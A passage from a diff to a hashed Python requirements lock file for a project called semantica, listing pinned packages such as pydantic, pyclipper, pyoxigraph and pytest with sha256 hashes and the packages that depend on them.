--hash=sha256:b7a296aac7a71fa0886c08e155ddb6c636a50013f801f6178daafa0f9e726188 \ + --hash=sha256:bddd0c4f7630c2a3ddf6347c1bdaa79d97bcf6bd445f9e60c816b7d77c85a5ae \ + --hash=sha256:bf0b672390cdcb640d7288f96b826d71ff4e9abb254a86c89890baf51a29cee6 \ + --hash=sha256:c7c534ec03c358a76ea3e505e74c1b6aef290af90c444dfd092dbfe23e755b85 \ + --hash=sha256:cab40b1edfef0262e0e5251aa2c58d75630f24d06dd7794480243acc001a1d7d \ + --hash=sha256:cc4aa407fde9fc660be3939e49ea31f50f3e9fec17c0ec63159f7711edd3efc9 \ + --hash=sha256:d51592cb7561e87877c506113e7adbf1342ab579e6c21f0ef44b8ba41cb74c80 \ + --hash=sha256:dda9470024204d7bbf2042b47c6e8a0e47a3eeb8e34405882dfaea6577e0c153 \ + --hash=sha256:df961f2e7ae9cf496459259d798652c70625f6c080650d6952f8c04053c58ee9 \ + --hash=sha256:eb6203482ff3746a5632303a7279ae0b5a304c46985b49ed1378cb350ea6728d \ + --hash=sha256:f3831aaa25c67a99f99dc8b05873cb9d64560390372e2aa197ce9dd4a3f06a44 \ + --hash=sha256:f729cfdbd36fd99d543b67a914d2de044c84ebe45be8b34902b299b608c15c8f + # via semantica (pyproject.toml) +pyasn1==0.6.4 \ + --hash=sha256:9c447d8431c947fe4c8febc4ed9e760bc29011a5b01e5c74b67025bd9fb8ce81 \ + --hash=sha256:deda9277cfd454080ec40b207fb6df82206a3a2688735233cdcd8d3d565f088b + # via pyasn1-modules +pyasn1-modules==0.4.2 \ + --hash=sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a \ + --hash=sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6 + # via google-auth +pyclipper==1.4.0 \ + --hash=sha256:0a4d2736fb3c42e8eb1d38bf27a720d1015526c11e476bded55138a977c17d9d \ + --hash=sha256:0b74a9dd44b22a7fd35d65fb1ceeba57f3817f34a97a28c3255556362e491447 \ + --hash=sha256:0b8c2105b3b3c44dbe1a266f64309407fe30bf372cf39a94dc8aaa97df00da5b \ + --hash=sha256:14c8bdb5a72004b721c4e6f448d2c2262d74a7f0c9e3076aeff41e564a92389f \ + --hash=sha256:1b6c8d75ba20c6433c9ea8f1a0feb7e4d3ac06a09ad1fd6d571afc1ddf89b869 \ + --hash=sha256:222ac96c8b8281b53d695b9c4fedc674f56d6d4320ad23f1bdbd168f4e316140 \ + --hash=sha256:29dae3e0296dff8502eeb7639fcfee794b0eec8590ba3563aee28db269da6b04 \ + --hash=sha256:37bfec361e174110cdddffd5ecd070a8064015c99383d95eb692c253951eee8a \ + --hash=sha256:3ef44b64666ebf1cb521a08a60c3e639d21b8c50bfbe846ba7c52a0415e936f4 \ + --hash=sha256:58e29d7443d7cc0e83ee9daf43927730386629786d00c63b04fe3b53ac01462c \ + --hash=sha256:6a97b961f182b92d899ca88c1bb3632faea2e00ce18d07c5f789666ebb021ca4 \ + --hash=sha256:6c317e182590c88ec0194149995e3d71a979cfef3b246383f4e035f9d4a11826 \ + --hash=sha256:773c0e06b683214dcfc6711be230c83b03cddebe8a57eae053d4603dd63582f9 \ + --hash=sha256:7c87480fc91a5af4c1ba310bdb7de2f089a3eeef5fe351a3cedc37da1fcced1c \ + --hash=sha256:81d8bb2d1fb9d66dc7ea4373b176bb4b02443a7e328b3b603a73faec088b952e \ + --hash=sha256:8d42b07a2f6cfe2d9b87daf345443583f00a14e856927782fde52f3a255e305a \ + --hash=sha256:9882bd889f27da78add4dd6f881d25697efc740bf840274e749988d25496c8e1 \ + --hash=sha256:98b2a40f98e1fc1b29e8a6094072e7e0c7dfe901e573bf6cfc6eb7ce84a7ae87 \ + --hash=sha256:9bc45f2463d997848450dbed91c950ca37c6cf27f84a49a5cad4affc0b469e39 \ + --hash=sha256:a8d2b5fb75ebe57e21ce61e79a9131edec2622ff23cc665e4d1d1f201bc1a801 \ + --hash=sha256:a9f11ad133257c52c40d50de7a0ca3370a0cdd8e3d11eec0604ad3c34ba549e9 \ + --hash=sha256:adcb7ca33c5bdc33cd775e8b3eadad54873c802a6d909067a57348bcb96e7a2d \ + --hash=sha256:b3b3630051b53ad2564cb079e088b112dd576e3d91038338ad1cc7915e0f14dc \ + --hash=sha256:bafad70d2679c187120e8c44e1f9a8b06150bad8c0aecf612ad7dfbfa9510f73 \ + --hash=sha256:bbc827b77442c99deaeee26e0e7f172355ddb097a5e126aea206d447d3b26286 \ + --hash=sha256:c9a3faa416ff536cee93417a72bfb690d9dea136dc39a39dbbe1e5dadf108c9c \ + --hash=sha256:ce1f83c9a4e10ea3de1959f0ae79e9a5bd41346dff648fee6228ba9eaf8b3872 \ + --hash=sha256:d1e5498d883b706a4ce636247f0d830c6eb34a25b843a1b78e2c969754ca9037 \ + --hash=sha256:d1f807e2b4760a8e5c6d6b4e8c1d71ef52b7fe1946ff088f4fa41e16a881a5ca \ + --hash=sha256:d49df13cbb2627ccb13a1046f3ea6ebf7177b5504ec61bdef87d6a704046fd6e \ + --hash=sha256:d4b2d7c41086f1927d14947c563dfc7beed2f6c0d9af13c42fe3dcdc20d35832 \ + --hash=sha256:e9b973467d9c5fa9bc30bb6ac95f9f4d7c3d9fc25f6cf2d1cc972088e5955c01 \ + --hash=sha256:f160a2c6ba036f7eaf09f1f10f4fbfa734234af9112fb5187877efed78df9303 \ + --hash=sha256:f2a50c22c3a78cb4e48347ecf06930f61ce98cf9252f2e292aa025471e9d75b1 \ + --hash=sha256:f3672dbafbb458f1b96e1ee3e610d174acb5ace5bd2ed5d1252603bb797f2fc6 \ + --hash=sha256:fd24849d2b94ec749ceac7c34c9f01010d23b6e9d9216cf2238b8481160e703d + # via rapidocr +pycodestyle==2.14.0 \ + --hash=sha256:c4b5b517d278089ff9d0abdec919cd97262a3367449ea1c8b49b91529167b783 \ + --hash=sha256:dd6bf7cb4ee77f8e016f9c8e74a35ddd9f67e1d5fd4184d86c3b98e07099f42d + # via flake8 +pycparser==3.0 \ + --hash=sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29 \ + --hash=sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992 + # via cffi +pydantic==2.13.4 \ + --hash=sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba \ + --hash=sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6 + # via + # semantica (pyproject.toml) + # agno + # anthropic + # docling-core + # docling-ibm-models + # docling-parse + # docling-slim + # fastapi + # google-genai + # groq + # instructor + # litellm + # ollama + # openai + # pydantic-settings + # qdrant-client + # spacy + # thinc + # weasel + # weaviate-client +pydantic-core==2.46.4 \ + --hash=sha256:00c603d540afdd6b80eb39f078f33ebd46211f02f33e34a32d9f053bba711de0 \ + --hash=sha256:0186750b482eefa11d7f435892b09c5c606193ef3375bcf94aa00ae6bfb66262 \ + --hash=sha256:041bde0a48fd37cf71cab1c9d56d3e8625a3793fef1f7dd232b3ff37e978ecda \ + --hash=sha256:0c563b08bca408dc7f65f700633d8442fffb2421fc47b8101377e9fd65051ff0 \ + --hash=sha256:0cbe8b01f948de4286c74cdd6c667aceb38f5c1e26f0693b3983d9d74887c65e \ + --hash=sha256:0ce40cd7b21210e99342afafbd4d0f76d784eb5b1d60f3bdc566be4983c6c73b \ + --hash=sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594 \ + --hash=sha256:10e17cbb10a330363733efc4d7c4d0dd827ac0909b8f6a6542298fed1ea62f29 \ + --hash=sha256:133878133d271ade3d41d1bfb2a45ec38dbdbda40bc065921c6b04e4630127e2 \ + --hash=sha256:14d4edf427bdcf950a8a02d7cb44a08614388dd6e1bdcbf4f67504fa7887da9c \ + --hash=sha256:14f4c5d6db102bd796a627bbb3a17b4cf4574b9ae861d8b7c9a9661c6dd3362d \ + --hash=sha256:17299feefe090f2caa5b8e37222bb5f663e4935a8bfa6931d4102e5df1a9f398 \ + --hash=sha256:184c081504d17f1c1066e430e117142b2c77d9448a97f7b65c6ac9fd9aee238d \ + --hash=sha256:18e5ceec2ab67e6d5f1a9085e5a24c9c4e2ac4545730bfe668680bca05e555f3 \ + --hash=sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f \ + --hash=sha256:1a7dd0b3ee80d90150e3495a3a13ac34dbcbfd4f012996a6a1d8900e91b5c0fb \ + --hash=sha256:1d8ba486450b14f3b1d63bc521d410ec7565e52f887b9fb671791886436a42f7 \ + --hash=sha256:2108ba5c1c1eca18030634489dc544844144ee36357f2f9f780b93e7ddbb44b5 \ + --hash=sha256:228ee9bae8bef5b1e97ec58302f80357c37199e0d0a99174e138d28e6957b9d9 \ + --hash=sha256:23ace664830ee0bfe014a0c7bc248b1f7f25ed7ad103852c317624a1083af462 \ + --hash=sha256:2412e734dcb48da14d4e4006b82b46b74f2518b8a26ee7e58c6844a6cd6d03c4 \ + --hash=sha256:29c61fc04a3d840155ff08e475a04809278972fe6aef51e2720554e96367e34b \ + --hash=sha256:2f84c03c8607173d16b5a854ec68a2f9079ae03237a54fb506d13af47e1d018d \ + --hash=sha256:3009f12e4e90b7f88b4f9adb1b0c4a3d58fe7820f3238c190047209d148026df \ + --hash=sha256:3245406455a5d98187ec35530fd772b1d799b26667980872c8d4614991e2c4a2 \ + --hash=sha256:3447661d99f75a3683a4cf5c87da72f2161964611864dbbeac7fbb118bb4bfc0 \ + --hash=sha256:372429a130e469c9cd698925ce5fc50940b7a1336b0d82038e63d5bbc4edc519 \ + --hash=sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd \ + --hash=sha256:3a233125ac121aa3ffba9a2b59edfc4a985a76092dc8279586ab4b71390875e7 \ + --hash=sha256:3be77f45df024d789a672ae34f8b06fb346c4f9f46ea714956660ea4862e89ac \ + --hash=sha256:3bf92c5d0e00fefaab325a4d27828fe6b6e2a21848686b5b60d2d9eeb09d76c6 \ + --hash=sha256:3ecbc122d18468d06ca279dc26a8c2e2d5acb10943bb35e36ae92096dc3b5565 \ + --hash=sha256:3fb702cd90b0446a3a1c5e470bfa0dd23c0233b676a9099ddcc964fa6ca13898 \ + --hash=sha256:428e04521a40150c85216fc8b85e8d39fece235a9cf5e383761238c7fa9b96fb \ + --hash=sha256:432c179df7874eeb73307aad2df0755e1ae0efa61ff0ea89b93e194411ae3928 \ + --hash=sha256:4a05d69cba51d852c5c3e92758653245a50c0b646ced0cf05bd793ed592839d6 \ + --hash=sha256:4c63ebc82684aa89d9a3bcbd13d515b3be44250dc68dd3bd81526c1cb31286c3 \ + --hash=sha256:4fc73cb559bdb54b1134a706a2802a4cddd27a0633f5abb7e53056268751ac6a \ + --hash=sha256:4fcbe087dbc2068af7eda3aa87634eba216dbda64d1ae73c8684b621d33f6596 \ + --hash=sha256:56cb4851bcaf3d117eddcef4fe66afd750a50274b0da8e22be256d10e5611987 \ + --hash=sha256:5855698a4856556d86e8e6cd8434bc3ac0314ee8e12089ae0e143f64c6256e4e \ + --hash=sha256:5a4330cdbc57162e4b3aa303f588ba752257694c9c9be3e7ebb11b4aca659b5d \ + --hash=sha256:5b712b53160b79a5850310b912a5ef8e57e56947c8ad690c227f5c9d7e561712 \ + --hash=sha256:5d5902252db0d3cedf8d4a1bc68f70eeb430f7e4c7104c8c476753519b423008 \ + --hash=sha256:617d7e2ca7dcb8c5cf6bcb8c59b8832c94b36196bbf1cbd1bfb56ed341905edd \ + --hash=sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1 \ + --hash=sha256:633147d34cf4550417f12e2b1a0383973bdf5cdfde212cb09e9a581cf10820be \ + --hash=sha256:66ce7632c22d837c95301830e111ad0128a32b8207533b60896a96c4915192ea \ + --hash=sha256:6b3ace8194b0e5204818c92802dcdca7fc6d88aabbb799d7c795540d9cd6d292 \ + --hash=sha256:6f2eeda33a839975441c86a4119e1383c50b47faf0cbb5176985565c6bb02c33 \ + --hash=sha256:7027560ee92211647d0d34e3f7cd6f50da56399d26a9c8ad0da286d3869a53f3 \ + --hash=sha256:7283d57845ecf5a163403eb0702dfc220cc4fbdd18919cb5ccea4f95ee1cdab4 \ + --hash=sha256:7a5f930472650a82629163023e630d160863fce524c616f4e5186e5de9d9a49b \ + --hash=sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826 \ + --hash=sha256:811ff8e9c313ab425368bcbb36e5c4ebd7108c2bbf4e4089cfbb0b01eff63fac \ + --hash=sha256:8233f2947cf85404441fd7e0085f53b10c93e0ee78611099b5c7237e36aacbf7 \ + --hash=sha256:82cf5301172168103724d49a1444d3378cb20cdee30b116a1bd6031236298a5d \ + --hash=sha256:8358a950c8909158e3df31538a7e4edc2d7265a7c54b47f0864d9e5bae9dcebf \ + --hash=sha256:85bb3611ff1802f3ee7fdd7dbff26b56f343fb432d57a4728fdd49b6ef35e2f4 \ + --hash=sha256:86e1a4418c6cd97d60c95c71164158eaf7324fae7b0923264016baa993eba6fc \ + --hash=sha256:8b9bab013d1c7a79d3501ff86d0bc9c31bf587db4551677b96bec07df78c6b15 \ + --hash=sha256:8c5dac79fa1614d1e06ca695109c6105923bd9c7d1d6c918d4e637b7e6b32fd3 \ + --hash=sha256:8d0820e8192167f80d88d64038e609c31452eeca865b4e1d9950a27a4609b00b \ + --hash=sha256:8daafc69c93ee8a0204506a3b6b30f586ef54028f52aeeeb5c4cfc5184fd5914 \ + --hash=sha256:9037063db01f09b09e237c282b6792bd4da634b5402c4e7f0c61effed7701a04 \ + --hash=sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c \ + --hash=sha256:90884113d8b48f760e9587002789ddd741e76ab9f89518cd1e43b1f1a52ec44b \ + --hash=sha256:91a06d2e259ecfbd8c901d70c3c507900458498142b3026a296b7de4d1322cc9 \ + --hash=sha256:926c9541b14b12b1681dca8a0b75feb510b06c6341b70a8e500c2fdcff837cce \ + --hash=sha256:9401557acd873c3a7f3eb9383edef8ac4968f9510e340f4808d427e75667e7b4 \ + --hash=sha256:9551187363ffc0de2a00b2e47c25aeaeb1020b69b668762966df15fc5659dd5a \ + --hash=sha256:962ccbab7b642487b1d8b7df90ef677e03134cf1fd8880bf698649b22a69371f \ + --hash=sha256:97e7cf2be5c77b7d1a9713a05605d49460d02c6078d38d8bef3cbe323c548424 \ + --hash=sha256:9aa768456404a8bf48a4406685ac2bec8e72b62c69313734fa3b73cf33b3a894 \ + --hash=sha256:9bc519fbf2b7578398853d815009ae5e4d4603d12f4e3f91da8c06852d3da3e9 \ + --hash=sha256:9d56801be94b86a9da183e5f3766e6310752b99ff647e38b09a9500d88e46e76 \ + --hash=sha256:9f444c499b3eefd3a92e348059471ea0c3a6e303d9c1cec09fa748fd9f895201 \ + --hash=sha256:9fa8ae11da9e2b3126c6426f147e0fba88d96d65921799bb30c6abd1cb2c97fb \ + --hash=sha256:a0f62d0a58f4e7da165457e995725421e0064f2255d8eccebc49f41bbc23b109 \ + --hash=sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4 \ + --hash=sha256:aaa2a54443eff1950ba5ddc6b6ccda0d9c84a364276a62f969bdf2a390650848 \ + --hash=sha256:ad785e92e6dc634c21555edc8bd6b64957ab844541bcb96a1366c202951ae526 \ + --hash=sha256:af8244b2bef6aaad6d92cda81372de7f8c8d36c9f0c3ea36e827c60e7d9467a0 \ + --hash=sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01 \ + --hash=sha256:b2f69dec1725e79a012d920df1707de5caf7ed5e08f3be4435e25803efc47458 \ + --hash=sha256:b8458003118a712e66286df6a707db01c52c0f52f7db8e4a38f0da1d3b94fc4e \ + --hash=sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba \ + --hash=sha256:bfec22eab3c8cc2ceec0248aec886624116dc079afa027ecc8ad4a7e62010f8a \ + --hash=sha256:c1747f85cee84c26985853c6f3d9bd3e75da5212912443fa111c113b9c246f39 \ + --hash=sha256:c1b3f518abeca3aa13c712fd202306e145abf59a18b094a6bafb2d2bbf59192c \ + --hash=sha256:c50f2528cf200c5eed56faf3f4e22fcd5f38c157a8b78576e6ba3168ec35f000 \ + --hash=sha256:c68fcd102d71ea85c5b2dfac3f4f8476eff42a9e078fd5faefff6d145063536b \ + --hash=sha256:c7a7bd4e39e8e4c12c39cd480356842b6a8a06e41b23a55a5e3e191718838ddf \ + --hash=sha256:c94f0688e7b8d0a67abf40e57a7eaaecd17cc9586706a31b76c031f63df052b4 \ + --hash=sha256:cbaf13819775b7f769bf4a1f066cb6df7a28d4480081a589828ef190226881cd \ + --hash=sha256:cd2213145bcc2ba85884d0ac63d222fece9209678f77b9b4d76f054c561adb28 \ + --hash=sha256:ce5c1d2a8b27468f433ca974829c44060b8097eedc39933e3c206a90ee49c4a9 \ + --hash=sha256:d396ec2b979760aaf3218e76c24e65bd0aca24983298653b3a9d7a45f9e47b30 \ + --hash=sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983 \ + --hash=sha256:d80ee3d731373b24cebbc10d689ca4ee1875caf0d5703a245db18efd4dd37fc1 \ + --hash=sha256:d995260fdf4e1db774581b4900e0f832abe3c7c84996726bbc161b19c8f29e76 \ + --hash=sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5 \ + --hash=sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4 \ + --hash=sha256:db06ffe51636ffe9ca531fe9023dd64bdd794be8754cb5df57c5498ae5b518a7 \ + --hash=sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c \ + --hash=sha256:e68b7a074f65a2fd746c52a7ce6142ab7006074ac269ace0c25cd8ba171f8066 \ + --hash=sha256:e739fee756ba1010f8bcccb534252e85a35fe45ae92c295a06059ce58b74ccd3 \ + --hash=sha256:e846ae7835bf0703ae43f534ab79a867146dadd59dc9ca5c8b53d5c8f7c9ef02 \ + --hash=sha256:e9c26f834c65f5752f3f06cb08cb86a913ceb7274d0db6e267808a708b46bc89 \ + --hash=sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50 \ + --hash=sha256:f027324c56cd5406ca49c124b0db10e56c69064fec039acc571c29020cc87c76 \ + --hash=sha256:f13a646d65d09fbf1bc6b3a9635d30095c8e7e5cc419ff35ecc563c5fd04cd49 \ + --hash=sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b \ + --hash=sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d \ + --hash=sha256:f99626688942fb746e545232e7726926f3be91b5975f8b55327665fafda991c7 \ + --hash=sha256:f9fa868638bf362d3d138ea55829cefb3d5f4b0d7f142234382a15e2485dbec4 \ + --hash=sha256:fbdb89b3e1c94a30cc5edfce477c6e6a5dc4d8f84665b455c27582f211a1c72c \ + --hash=sha256:fc010ab034c8c7452522748bf937df58020d256ccae0874463d1f4d01758af8e \ + --hash=sha256:fc3e9034a63de20e15e8ade85358bc6efc614008cab72898b4b4952bea0509ff \ + --hash=sha256:fd8b3d9fd264be37976686c7f65cd52a83f5e84f4bfd2adf9c1d469676bbb6ae + # via + # instructor + # pydantic +pydantic-settings==2.15.0 \ + --hash=sha256:0ba092c291c94baceb5eff768aa0d56400a457585bc0175925a5a5510303da42 \ + --hash=sha256:694b793e84f766ba76a90ebdefc01d0a9a045dab0382bee70393da93712ad117 + # via + # agno + # docling-core + # docling-slim + # litellm +pyflakes==3.4.0 \ + --hash=sha256:b24f96fafb7d2ab0ec5075b7350b3d2d2218eab42003821c06344973d3ea2f58 \ + --hash=sha256:f742a7dbd0d9cb9ea41e9a24a918996e8170c799fa528688d40dd582c8265f4f + # via flake8 +pygments==2.20.0 \ + --hash=sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f \ + --hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176 + # via + # ipython + # ipython-pygments-lexers + # jupyter-console + # mpire + # nbconvert + # pytest + # rich +pylatexenc==2.11 \ + --hash=sha256:305a072a99ce736246049c9da05841b9d718c0f7ea8888f5f596cf15cb621053 \ + --hash=sha256:e78e7391d6c104f1ed150e21cfaa58016cdb50aa54406a2eecb793649ffdfdd0 + # via docling-slim +pymilvus==3.0.1 \ + --hash=sha256:c02389059088b18d6e598cd175541e445c772fab4926c5e527c4913be34887f1 \ + --hash=sha256:c5a8d5c1fa1de7b416e3529d383d8cc2e7da2170433ffa4a2d9087e14f70171a + # via semantica (pyproject.toml) +pynndescent==0.6.0 \ + --hash=sha256:7ffde0fb5b400741e055a9f7d377e3702e02250616834231f6c209e39aac24f5 \ + --hash=sha256:dc8c74844e4c7f5cbd1e0cd6909da86fdc789e6ff4997336e344779c3d5538ef + # via umap-learn +pyoxigraph==0.5.9 \ + --hash=sha256:09071f6c08b9489723dec96e2d96f64a15b9be2d165d3bbf67d40712884ba7a3 \ + --hash=sha256:276ca12ca2cc20b123812af78a489d35f871f1ee5579d9f98d6c65f038fcd9ee \ + --hash=sha256:379bef7f8fc38f638f358b1e12bc5bdc908a0e7d47157f4399bf103c727a66da \ + --hash=sha256:3bd1925a8185320bcb8c549cccafbb423cc3957513890e6f420b8e355055052a \ + --hash=sha256:4558d430bbad6e6b4ba98e0e89a2e28402211069d38e6e9b00083ae2d9d2d175 \ + --hash=sha256:4f8ff48b873157ab38e2595a56d6d2008471a45853f5fffc645658c6f69c07db \ + --hash=sha256:56b78aab5a5688ede88404372574785ba74e8d82b2cd1c0b0623a03b7069967f \ + --hash=sha256:57f3619c7860f4c95ddab077e4a3dedb7ca4cf191bd81096db835264d414ec5b \ + --hash=sha256:5a8a1b2debadb5fe79f8b89cbe1193e9c0e6fc1cf0c9431b6be706234beeabbe \ + --hash=sha256:5c9f93db5e14a03ac1e3934cece3fb6f7c0a9f4bde33082c72c788c12bf65ba4 \ + --hash=sha256:68f8daf082ea4bf9583abd10b64e23cd2c4a3285338a5ec24254181d45e63083 \ + --hash=sha256:6ab699861035163e89bc512ce20aa6e91b654e4d33114c9f5facab08f0fe3d7e \ + --hash=sha256:70ac4792acee8c86f795b0db785b467afbb02daf58e2beb6e6ef3c3f43f4c222 \ + --hash=sha256:70ffb46ae49f52b18a49c3fb63d906ae9c189de4fe4dbf5453279bda4d27af4e \ + --hash=sha256:71dba053e5efc0002fbd4ace3119b9d3aec8a6c5b164ed7409a2429bf71171b8 \ + --hash=sha256:79caf78136a8312e506beb607910cc5a93662a05a173aa9b560ce9d08801384f \ + --hash=sha256:8b998bc479a54a8905cdeaad621d0f7fed212abf9f1cbededfde4c51fc8e3bb8 \ + --hash=sha256:917d976dcb813d613d0ddd7da1c9dec6ad02ee815015f393c703cf0804946653 \ + --hash=sha256:94c2a8b52c1ed6e445a235a4f89cd460eea936f399d28df5e9927826bf52f032 \ + --hash=sha256:95347d64417299f91128ccfee486dcb14d2c6674a9b9a62e5c6978b651a2ccf2 \ + --hash=sha256:afe19bd1835a7245caad06cc9bb1a5c861882dc074fdfa24ba2626e3bbf9866a \ + --hash=sha256:b829233ea4445ccd1032d02e9189432a77e16888a79313498aa501b8731dc925 \ + --hash=sha256:b8884b0ce3ccbac99ebc2c995614a13dc5f5d86b0adb847f36aeb1c713d12946 \ + --hash=sha256:baffb41d914b761b06cde61eeb0a35dd5f0fa4808f71ae9902fdd1179e70e553 \ + --hash=sha256:bcac65148bddcd0ae24ee1bf20a2e89cc225a926b9e9996eb64dcce60400d1a3 \ + --hash=sha256:c711156407663e2182e4ea07c959f8e471f1b6ecaee1f00ce3accca7a53d9917 \ + --hash=sha256:d04806073905f448a48811b217115e71224be7f1d4075d1f5f5ec07a016f42ae \ + --hash=sha256:dd3a801b56c383cf4b078bd51cc1b86498b1a1f6e3e2f56406a00c3239fc97ca \ + --hash=sha256:e9ca7cd7666336fcbafd9a2ec7d598dd859b7bd2ca7b0838a0f7b92dd3828c28 \ + --hash=sha256:eee3db30ecb6836fdc05ddcbc6aa79ed521afcbfa707a8561b7e5891c4fb4ff8 \ + --hash=sha256:efd3d03bd2a36f9b0bdf3ce70d76ce5278c481fe961d14c2bb6efcac10f57ae2 \ + --hash=sha256:f39a6175a80a55c837981d4d68f42380071bb1d45af124de488fcc8a61a81af3 \ + --hash=sha256:f619aac7199b2ba91cade2fe69f64b4c73abb1e6b33735b0ff7205a753e609cd \ + --hash=sha256:f9154bea122c0bab11eda7604b27ceb424ab8ba1637250503008b8c6632ea405 \ + --hash=sha256:fe2bea0f41f5284b6dad99ea718d7ff03600068cdf8736b63a9e6cd05f056b19 + # via semantica (pyproject.toml) +pyparsing==3.3.2 \ + --hash=sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d \ + --hash=sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc + # via + # matplotlib + # rdflib +pypdfium2==5.12.1 \ + --hash=sha256:05bab9b1ba2de7fc299ae2af25cb9c8a0543bc8bb893e879fe8c9ba8310e9ce4 \ + --hash=sha256:05bfa20a08a96584253bbe38b60e13f81a037eac31c5579e607ec1480ad25dbf \ + --hash=sha256:07eeebb2784f4cd38d386b924235df43217a397442796673296bb6efbdaad1d0 \ + --hash=sha256:236dbdc88aa54f14b27937ccb2ebe3dcf08c10dbb8652f432ea982dc9af39732 \ + --hash=sha256:4648f0905441bcb141687ca2263bbf38a1aa056b943eef06019f91cff3e1da4a \ + --hash=sha256:5c3e6cbe43581af79526184643920ab03a9401a0c79f2226bea9d4d1e3d34008 \ + --hash=sha256:5f257bb40fa44ce9ba18d2c919777dbd3f16bf22548b1d68fd56c7c92f1de530 \ + --hash=sha256:66a9ed40d70a5d728cd42148fecb9d7a0917c6161d6bb67c844093a4ed1df089 \ + --hash=sha256:6eabf028ad8e7bc7811c9acf3a72718c180569b624b844d2c6cc974609784275 \ + --hash=sha256:715ae16b34ea1d64884d58800155179ba700e9ea65a2f583b020666acd2bfb12 \ + --hash=sha256:7857cfa6642ec5a09db12ff8f5cf6b6494585b5e3a605399fddc4fb862837b63 \ + --hash=sha256:847378a5ab41332998b2621b21bab2e96dc8c3eff36a08bce26695b964163983 \ + --hash=sha256:9609be73a6701a68f29dffe0335f7a2e4b3ba581542ed65d35d49f761a4600ca \ + --hash=sha256:974082344172da76a5c3c0782eaedfe6069dbe88db77d8c671ef36b61e9b14e2 \ + --hash=sha256:9c8856ce7dd77a7827476c7d75afe1197d6cd505f5cb4167b6aacf661f3f8ea5 \ + --hash=sha256:9f059f7bdbdf4352eb83691071096940d769d6ae5930b8734237fdb1bd78fbc2 \ + --hash=sha256:afc0b7e0c975a429abc75875209ce17b66d749f6ac5cbe8ba72470e83901e304 \ + --hash=sha256:bdff622181fab64f32328591c9c8287cdc745c9a1f2afc26ca3feba39e3e6645 \ + --hash=sha256:d0e0648fb2e28f50efcd1ec0a5a18ced9f4d66b2c227fae9b603f0a883b2d13f \ + --hash=sha256:d4ee061e566a6422b660cdddaaa799a2d1cbf2f016921bcaf24d61426d01d942 \ + --hash=sha256:e10cbf41b21233ec5e20adfc170cf60edd77abead86a97dc708fff55a8a886c7 \ + --hash=sha256:e5358d2ce4ebc5c899aab1df9ca5d215357244e9168aa443225d3c1e649c7eac + # via docling-slim +pypickle==2.0.1 \ + --hash=sha256:0cc1ee65293e4dfa90f0db6435e8021c6a83346be98d0fee81aceb2dad1fb091 \ + --hash=sha256:894afd81d26443e8589d21361a3cc04bd9f5c1535aaa627c3bee1212b58bdf74 + # via distfit +pyshacl==0.40.1 \ + --hash=sha256:011e3cf1a68b31747cb762ba3d755ae1bdcc464c8fad0dc212a9adc550719552 \ + --hash=sha256:27dd58c8ddfa103303b4a8c40b2c666332ffc912dbcd3137f7adc7b7bc5e6bda + # via semantica (pyproject.toml) +pytest==9.1.1 \ + --hash=sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313 \ + --hash=sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c + # via + # semantica (pyproject.toml) + # pytest-asyncio + # pytest-cov +pytest-asyncio==1.4.0 \ + --hash=sha256:933ca923a23075a87fb7070c0ec272a6848489824d887c85c812670932835aa1 \ + --hash=sha256:c6c0d2259945122819f171a32ecea2c349ead889ee28176caaf492143424be42 + # via semantica (pyproject.toml) +pytest-cov==7.1.0 \ + --hash=sha256:30674f2b5f6351aa09702a9c8c364f6a01c27aae0c1366ae8016160d1efc56b2 \ + --hash=sha256:a0461110b7865f9a271aa1b51e516c9a95de9d696734a2f71e3e78f46e1d4678 + # via semantica (pyproject.toml) +python-dateutil==2.9.0.post0 \ + --hash=sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3 \ + --hash=sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427 + # via + # arrow + # botocore + # celery + # falkordb + # jupyter-client + # matplotlib + # pandas + # pinecone-client +python-discovery==1.5.2 \ + --hash=sha256:3e338c2d0f15dfaeea57493f4c2c6caebe0e998ea815c30ae8bf8ee21f1112d3 \ + --hash=sha256:45fd4f20a4e3f9b7bf2e0817870bc8e3b320a19658da177af800768c82dbf354 + # via virtualenv +python-docx==1.2.0 \ + 